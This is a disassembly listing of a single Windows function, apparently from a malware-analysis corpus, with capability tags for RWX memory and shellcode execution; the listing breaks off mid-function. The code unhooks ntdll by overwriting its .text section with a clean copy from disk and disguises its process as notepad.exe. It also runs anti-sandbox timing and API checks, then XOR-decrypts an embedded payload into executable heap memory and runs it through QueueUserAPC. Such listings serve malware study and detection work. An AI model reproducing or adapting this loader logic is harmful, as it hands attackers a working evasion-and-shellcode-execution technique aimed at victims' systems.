Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x898
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x840], ecx
mov qword [rbp + 0x848], rdx
call fcn.140002bf0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x790], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x788], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x780], rax
mov ecx, 0xefc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x778], rax
mov dword [rbp + 0x808], 0
mov dword [rbp + 0x804], 0
mov dword [rbp + 0x80c], 0
jmp 0x140001541
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x80c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x778]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x14f8b589
shr rdx, 0x20
sar edx, 0xd
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x186a0
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x80c], 1
cmp dword [rbp + 0x80c], 0x3be
jle 0x1400014f4
mov dword [rbp + 0x80c], 0
mov dword [rbp + 0x80c], 0
jmp 0x1400015c0
mov eax, dword [rbp + 0x80c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x778]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x14000158f
add dword [rbp + 0x808], 1
jmp 0x1400015b9
mov eax, dword [rbp + 0x80c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x778]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x1400015b9
add dword [rbp + 0x804], 1
add dword [rbp + 0x80c], 1
cmp dword [rbp + 0x80c], 0x3be
jle 0x140001563
mov rax, qword [rbp + 0x778]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7f8], rax
cmp qword [rbp + 0x7f8], 0
jne 0x140001645
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7f8], rax
cmp qword [rbp + 0x7f8], 0
je 0x140001df2
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5b0]
mov rax, qword [rbp + 0x780]
mov r10, qword [rbp + 0x7f8]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x5b0]
mov qword [rbp + 0x770], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x768], rax
mov rax, qword [rbp + 0x768]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x760], rax
mov rax, qword [rbp + 0x760]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x758], rax
pxor xmm0, xmm0
movss dword [rbp + 0x7f0], xmm0
mov dword [rbp + 0x7f4], 0
jmp 0x1400017d6
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x7f4]
movsd xmm0, qword [0x1400065f8]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movups xmm1, xmm0
mov eax, dword [0x140006600]
movd xmm0, eax
call fcn.140003be0
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x7f4]
addsd xmm0, xmm0
movsd xmm2, qword [0x1400065f8]
subsd xmm0, xmm2
divsd xmm1, xmm0
pxor xmm0, xmm0
cvtss2sd xmm0, dword [rbp + 0x7f0]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x7f0], xmm0
add dword [rbp + 0x7f4], 1
cmp dword [rbp + 0x7f4], 0x2e5
jle 0x14000175d
movss xmm1, dword [rbp + 0x7f0]
movss xmm0, dword [0x140006604]
mulss xmm0, xmm1
movss dword [rbp + 0x7f0], xmm0
mov rax, qword [rbp + 0x770]
mov qword [rbp + 0x750], rax
mov rax, qword [rbp + 0x750]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x770]
add rax, rdx
mov qword [rbp + 0x748], rax
mov word [rbp + 0x7ee], 0
jmp 0x140001dda
mov ecx, 0xe2c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x740], rax
mov ecx, 0xe2c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x738], rax
mov dword [rbp + 0x7e4], 0x38a
mov dword [rbp + 0x7e8], 0
jmp 0x1400018c1
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7e8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x740]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x7e8], 1
cmp dword [rbp + 0x7e8], 0x38a
jle 0x140001874
mov dword [rbp + 0x7e8], 0
jmp 0x140001920
mov eax, dword [rbp + 0x7e4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x740]
add rax, rdx
mov edx, dword [rbp + 0x7e8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x738]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x7e4], 1
add dword [rbp + 0x7e8], 1
cmp dword [rbp + 0x7e8], 0x38a
jle 0x1400018d9
mov rax, qword [rbp + 0x740]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x738]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x748]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x748]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x7ee]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x730], rax
mov dword [rbp + 0x7e0], 0xffffffff
add dword [rbp + 0x7e0], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x13a
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006608]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003c00
movq rax, xmm0
mov qword [rbp + 0x728], rax
cmp dword [rbp + 0x7e0], 0x21f
jle 0x140001990
mov rax, qword [rbp + 0x730]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001dc9
mov dword [rbp + 0x7d4], 0
mov dword [rbp + 0x724], 0x13e
mov dword [rbp + 0x720], 0x9f
mov eax, dword [rbp + 0x724]
add eax, 1
cdqe
shl rax, 2
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x718], rax
mov dword [rbp + 0x7dc], 0
jmp 0x140001a6c
mov eax, dword [rbp + 0x7dc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x718]
add rdx, rax
mov eax, dword [rbp + 0x7dc]
mov dword [rdx], eax
add dword [rbp + 0x7dc], 1
mov eax, dword [rbp + 0x7dc]
cmp eax, dword [rbp + 0x720]
jl 0x140001a43
mov dword [rbp + 0x7dc], 1
jmp 0x140001afe
mov eax, dword [rbp + 0x7dc]
mov dword [rbp + 0x7d8], eax
jmp 0x140001ad5
mov edx, dword [rbp + 0x7dc]
mov eax, dword [rbp + 0x7d8]
add edx, eax
mov eax, dword [rbp + 0x7dc]
add eax, eax
add edx, eax
mov eax, dword [rbp + 0x7d8]
add eax, edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x718]
add rax, rdx
mov dword [rax], 0
add dword [rbp + 0x7d8], 1
mov eax, dword [rbp + 0x720]
sub eax, dword [rbp + 0x7dc]
mov edx, dword [rbp + 0x7dc]
add edx, edx
lea ebx, [rdx + 1]
cdq
idiv ebx
cmp dword [rbp + 0x7d8], eax
jle 0x140001a94
add dword [rbp + 0x7dc], 1
mov eax, dword [rbp + 0x7dc]
cmp eax, dword [rbp + 0x720]
jl 0x140001a86
cmp dword [rbp + 0x724], 2
jle 0x140001b42
mov eax, dword [rbp + 0x7d4]
lea edx, [rax + 1]
mov dword [rbp + 0x7d4], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x718]
add rax, rdx
mov dword [rax], 2
mov dword [rbp + 0x7dc], 1
jmp 0x140001ba6
mov eax, dword [rbp + 0x7dc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x718]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001b9f
mov eax, dword [rbp + 0x7dc]
lea ecx, [rax + rax]
mov eax, dword [rbp + 0x7d4]
lea edx, [rax + 1]
mov dword [rbp + 0x7d4], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x718]
add rax, rdx
lea edx, [rcx + 1]
mov dword [rax], edx
add dword [rbp + 0x7dc], 1
mov eax, dword [rbp + 0x7dc]
cmp eax, dword [rbp + 0x720]
jl 0x140001b4e
mov dword [rbp + 0x714], 2
mov dword [rbp + 0x7d0], 0
mov dword [rbp + 0x7dc], 0
jmp 0x140001c02
mov eax, dword [rbp + 0x7dc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x718]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001bfb
add dword [rbp + 0x7d0], 1
add dword [rbp + 0x7dc], 1
mov eax, dword [rbp + 0x7dc]
cmp eax, dword [rbp + 0x714]
jl 0x140001bd4
mov rax, qword [rbp + 0x718]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x578], 0
mov ecx, 0x63c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x708], rax
mov dword [rbp + 0x7c8], 0
mov dword [rbp + 0x704], 0
mov dword [rbp + 0x7cc], 0
jmp 0x140001ca6
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7cc]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x708]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff88888889
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1e
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x7cc], 1
cmp dword [rbp + 0x7cc], 0x18e
jle 0x140001c5a
mov dword [rbp + 0x7cc], 0
jmp 0x140001ce7
mov eax, dword [rbp + 0x7cc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x708]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x7c8], eax
add dword [rbp + 0x7cc], 1
cmp dword [rbp + 0x7cc], 0x18e
jle 0x140001cbe
mov rax, qword [rbp + 0x708]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x730]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x730]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x770]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x578]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x730]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x730]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x758]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x730]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x770]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x578]
mov rax, qword [rbp + 0x730]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x730]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x770]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x578]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x7ee]
add eax, 1
mov word [rbp + 0x7ee], ax
mov rax, qword [rbp + 0x748]
movzx eax, word [rax + 6]
cmp word [rbp + 0x7ee], ax
jb 0x14000183c
mov dword [rbp + 0x57c], 0
mov rax, qword [rbp + 0x790]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x580]
lea rax, [rbp + 0x57c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x6f8]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x588]
add rax, 0x3c
mov qword [rbp + 0x6f0], rax
mov rax, qword [rbp + 0x6f0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x6f0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e8], rax
mov rax, qword [rbp + 0x6e8]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x6e0], rax
cmp qword [rbp + 0x6e0], 0
jne 0x140002b21
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d8], rax
mov rax, qword [rbp + 0x6d8]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x6d0], rax
cmp qword [rbp + 0x6d0], 0
jne 0x140002b21
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x6c8]
mov ecx, 0
call rax
mov dword [rbp + 0x6c4], eax
cmp dword [rbp + 0x6c4], 0xffffffff
je 0x140002b21
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x6b8]
mov ecx, 0
call rax
mov dword [rbp + 0x6b4], eax
cmp dword [rbp + 0x6b4], 0xffffffff
je 0x140002b21
mov qword [rbp + 0x6a8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6a0]
mov r9d, 0x3000
mov r8d, 0x2ac
mov edx, 0
call rax
mov qword [rbp + 0x6a8], rax
cmp qword [rbp + 0x6a8], 0
je 0x140002b21
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x698], rax
cmp qword [rbp + 0x698], 0
je 0x140002b21
mov rax, qword [rbp + 0x698]
mov edx, 0x3ec
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x694], eax
mov dword [rbp + 0x690], 0x3b3
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x688], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x680], rax
mov rax, qword [rbp + 0x680]
call rax
mov dword [rbp + 0x67c], eax
mov eax, dword [rbp + 0x690]
mov r8, qword [rbp + 0x688]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x680]
call rax
mov dword [rbp + 0x678], eax
mov eax, dword [rbp + 0x678]
sub eax, dword [rbp + 0x67c]
cmp eax, 0x381
jbe 0x140002b21
mov dword [rbp + 0x674], 0x356
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x668], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x660], rax
mov rax, qword [rbp + 0x660]
call rax
mov dword [rbp + 0x65c], eax
mov eax, dword [rbp + 0x674]
mov r8, qword [rbp + 0x668]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x660]
call rax
mov dword [rbp + 0x658], eax
mov eax, dword [rbp + 0x658]
sub eax, dword [rbp + 0x65c]
cmp eax, 0x324
jbe 0x140002b21
mov ecx, 0x6a9
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x6a9
jne 0x140002b21
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x650], rax
cmp qword [rbp + 0x650], 0
je 0x140002b21
mov rax, qword [rbp + 0x650]
mov edx, 0x4ea
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x64c], eax
lea rax, [rbp + 0xa0]
lea rdx, [0x140006128]
mov ecx, 0x99
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, byte [rdx]
mov byte [rax], cl
mov rax, qword [rbp + 0x788]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x640], rax
mov rax, qword [rbp + 0x788]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x638], rax
mov dword [rbp + 0x7c0], 1
jmp 0x1400023d7
mov dword [rbp + 0x7c4], 0
mov eax, dword [rbp + 0x7c0]
mov dword [rbp + 0x7bc], eax
jmp 0x1400023ad
mov edx, dword [rbp + 0x7bc]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x5cc], edx
mov eax, dword [rbp + 0x5cc]
imul eax, eax
imul eax, dword [rbp + 0x5cc]
add dword [rbp + 0x7c4], eax
mov eax, dword [rbp + 0x7bc]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x7bc], eax
cmp dword [rbp + 0x7bc], 0
jne 0x140002342
mov eax, dword [rbp + 0x7c4]
cmp eax, dword [rbp + 0x7c0]
jne 0x1400023d0
mov eax, dword [rbp + 0x7c0]
mov dword [rbp + 0x5d0], eax
add dword [rbp + 0x7c0], 1
cmp dword [rbp + 0x7c0], 0x237
jle 0x14000232a
mov rax, qword [rbp + 0x640]
mov r8d, 0
mov edx, 0x4c8
mov ecx, 0x40000
call rax
mov qword [rbp + 0x630], rax
mov rax, qword [rbp + 0x630]
mov r9, qword [rbp + 0x638]
mov r8d, 0x4c8
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x790]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x620], rax
lea rdx, [rbp + 0xa0]
mov rax, qword [rbp + 0x628]
mov r9, qword [rbp + 0x620]
mov r8d, 0x4c8
mov rcx, rax
call r9
mov dword [rbp + 0x7b8], 0
mov dword [rbp + 0x7b4], 0
mov dword [rbp + 0x7b0], 0
movabs rax, 0x20914294ba2dd873
movabs rdx, 0xbf5d79d0364836cc
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x4574a6846c511637
movabs rdx, 0xf9f301af576adc61
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0xdad87bac26ea6f74
movabs rdx, 0xb82eb4935e1b05b1
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0xeadc20d3fca84ebd
movabs rdx, 0x1eac70eace736869
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x2b6fb8fcc891e4a
movabs rdx, 0x5fd9a16bcca99959
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0xa6b8a08e57bed7db
movabs rdx, 0x707f152bd4833b30
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x7d8425506cfbf6d4
movabs rdx, 0xfe8263f0cb726ed7
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x5423f747cbf2fe
mov qword [rbp + 0x8f], rax
movabs rax, 0xef62a6b96c93b580
movabs rdx, 0xb3c06f089a264bb9
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0xe83e5e7744b0036f
movabs rdx, 0x34940ce440cc02d8
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0xb3f23dd5bc34940c
movabs rdx, 0x2e2e9ce8bf8eda
mov qword [rbp + 0xd], rax
mov qword [rbp + 0x15], rdx
jmp 0x140002609
mov eax, dword [rbp + 0x7b8]
cdqe
movzx edx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x7b4]
cdqe
movzx eax, byte [rbp + rax + 0x20]
xor edx, eax
mov eax, dword [rbp + 0x7b8]
cdqe
mov byte [rbp + rax - 0x40], dl
cmp dword [rbp + 0x7b4], 0x75
jne 0x1400025fb
mov dword [rbp + 0x7b4], 0
jmp 0x140002602
add dword [rbp + 0x7b4], 1
add dword [rbp + 0x7b8], 1
mov eax, dword [rbp + 0x7b8]
cmp eax, 0x2b
jbe 0x1400025be
mov dword [rbp + 0x7b8], 0
jmp 0x1400027e9
mov eax, dword [rbp + 0x7b8]
movsxd rdx, eax
mov rax, qword [rbp + 0x628]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7b0]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x7b8]
movsxd rdx, eax
mov rax, qword [rbp + 0x628]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x7b0], 0x2b
jne 0x1400027db
mov ecx, 0x2008
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5d8], rax
mov dword [rbp + 0x7ac], 0
mov dword [rbp + 0x5d4], 1
mov dword [rbp + 0x7a8], 0
jmp 0x140002724
mov dword [rbp + 0x7a4], 0
jmp 0x140002714
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x7a8]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
shl rax, 3
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x5d8]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x7a4]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
add dword [rbp + 0x7a4], 1
cmp dword [rbp + 0x7a4], 0x28
jle 0x1400026ae
add dword [rbp + 0x7a8], 1
cmp dword [rbp + 0x7a8], 0x31
jle 0x1400026a2
mov dword [rbp + 0x7a8], 0
jmp 0x1400027a1
mov dword [rbp + 0x7a4], 0
jmp 0x140002791
mov eax, dword [rbp + 0x7a8]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x5d8]
add rdx, rax
mov eax, dword [rbp + 0x7a4]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x14000278a
add dword [rbp + 0x7ac], 1
add dword [rbp + 0x7a4], 1
cmp dword [rbp + 0x7a4], 0x28
jle 0x140002749
add dword [rbp + 0x7a8], 1
cmp dword [rbp + 0x7a8], 0x31
jle 0x14000273d
cmp dword [rbp + 0x7ac], 0x401
je 0x1400027c0
mov dword [rbp + 0x5d4], 0
mov rax, qword [rbp + 0x5d8]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x7b0], 0
jmp 0x1400027e2
add dword [rbp + 0x7b0], 1
add dword [rbp + 0x7b8], 1
cmp dword [rbp + 0x7b8], 0x4c7
jle 0x140002623
mov rax, qword [rbp + 0x628]
mov qword [rbp + 0x618], rax
mov rax, qword [rbp + 0x788]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x610], rax
mov rax, qword [rbp + 0x788]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x608], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x618]
mov r9, qword [rbp + 0x610]
mov r8d, 0
mov rcx, rax
call r9
mov ecx, 0x384
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x600], rax
mov ecx, 0x384
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5f8], rax
mov ecx, 0x384
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5f0], rax
mov ecx, 0x384
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5e8], rax
mov dword [rbp + 0x79c], 0xe0
mov dword [rbp + 0x7a0], 0
jmp 0x14000295f
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7a0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x600]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7a0]
